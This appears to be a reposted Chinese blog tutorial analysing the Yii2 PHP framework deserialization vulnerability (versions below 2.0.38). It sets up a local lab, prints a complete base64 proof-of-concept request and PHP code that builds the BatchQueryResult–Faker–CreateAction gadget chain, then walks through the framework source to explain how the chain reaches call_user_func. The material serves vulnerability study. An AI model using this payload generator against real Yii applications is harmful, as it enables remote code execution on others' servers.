Yii是一套基于組件、用于開發大型Web應用的高性能PHP框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,如果程式內部呼叫了unserialize() 反序列化時,那么程式就可能存在反序列化漏洞,攻擊者可通過構造特定的惡意請求執行任意命令,
影響版本:
yii2 v2.0.37版本以下
環境:
yii-basic-app-2.0.37.tgz
php7.0以上
poc:
http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
在github上下載yii框架,網址:https://github.com/yiisoft/yii2/releases/tag/2.0.37
下載完成后,把yii2解壓到網站的根目錄下,打開瀏覽器訪問yii專案的目錄下的requirements.php檔案,訪問http://www.yii2.com/requirements.php

如果出現以上頁面再修改yii專案的config目錄下的web.php檔案
這里我是放在phpstudy的www目錄是C:\phpStudy\PHPTutorial\WWW\yii2.com\config,將cookieValidationKey的值隨便修改成一個字串,這里我直接修改成123,

修改完web.php檔案后再訪問http://www.yii2.com/web/index.php,如果出現以下頁面說明安裝成功

安裝完成后,在yii專案的controllers目錄下新建一個TestController.php檔案,并撰寫如下代碼

生成poc的代碼,如下所示:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
//進行序列化和base64編碼
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
執行以上poc代碼,生成payload資料,
然后我們再訪問之前提交的poc,瀏覽器直接回顯了phpinfo頁面,說明yii反序列化漏洞利用成功

接下來從之前自定義的TestController.php檔案開始分析yii的反序列化漏洞,
當TestController反序列化時會呼叫BaseYii類的靜態方法autoload依次完成pop利用鏈的初始化操作(__construct),yii反序列化漏洞的利用點是BatchQueryResult類的__destruct方法,
public function __destruct(){
// make sure cursor is closed
$this->reset();
}
接著又呼叫了reset方法:
public function reset(){
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
reset方法中通過_dataReader屬性又呼叫了close方法,那么_dataReader應該指向了一個物件,
而前面構造的poc中_dataReader屬性指向了Generator物件,但Generator類并沒有close方法,當一個物件呼叫了不可訪問的方法時會觸發__call方法,因此$this->_dataReader->close()這一步實際上會呼叫__call方法
public function __call($method, $attributes){
return $this->format($method, $attributes);
}
__call方法內部又呼叫了format方法,該方法內部呼叫呼叫了getFormatter函式和call_user_func_array函式,對php函式比較熟悉的同學應該知道,call_user_func_array是一個危險的函式,也就是說前面的__call方法其實是作為一個“跳板”,我們需要通過__call函式來間接呼叫call_user_func_array函式,
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
注意:call_user_func_array函式有兩個引數,其中第二個引數是不可控的,重點關注第一個引數,
先分析getFormatter函式,該函式內部先判斷是否設定了formatters,然后獲取formatters的內容回傳,說明formatters可控的,因此在構造pop利用鏈時可以指定formatters屬性的內容
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
接著就呼叫了call_user_func_array方法并將getFormatter函式獲取到的內容以陣列的方式作為引數,call_user_func_array函式會根據第一個引數的內容呼叫了run方法,
public function run(){
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
/* @var $model \yii\db\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);
$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
run方法內部通過this物件拿到checkAccess和id(就是phpinfo和1),然后呼叫 call_user_func危險函式遠程執行命令操作,
這里肯定有小伙伴很疑惑CreateAction類的run方法是如何被呼叫的,在這之前,先來學習一下call_user_func_array函式的用法
<?php
/**
* Created by PhpStorm.
* User: test
* Date: 2021/6/6
* Time: 15:58
*/
//Test類有成員方法和靜態方法
class Test{
public function fun1(){
printf("---function fun1---");
}
public static function fun2(){
printf("---function fun2---");
}
}
//直接呼叫類中的成員方法和靜態方法,需要將類名和方法以陣列的方式傳遞
//不實體化來呼叫Test類的成員方法
call_user_func_array(array("Test", "fun1") , array());
//不實體化來呼叫Test類的靜態方法
call_user_func_array(array("Test","fun2") , array());
//實體化物件呼叫方法,需要將物件和方法以陣列的方式傳遞
//實體化呼叫方法
call_user_func_array(array(new test , "fun1") , array());
執行結果如下:
---function fun1------function fun2------function fun1---
在前面的分析中我們知道call_user_func_array函式的第一個引數是由getFormatter函式回傳的,也就是說getFormatter函式其實回傳的是一個陣列,該陣列的內容為[new CreateAction , "run"],通過將物件和成員方法以陣列的形式作為引數傳遞給call_user_func_array函式實作呼叫CreateAction類的run方法,這是一個非常巧妙的利用思路,
最后整理一下yii反序列化漏洞的pop利用鏈:

到此,漏洞分析完成,
參考文章:
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
https://my.oschina.net/botkenni/blog/844631
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/286207.html
標籤:其他
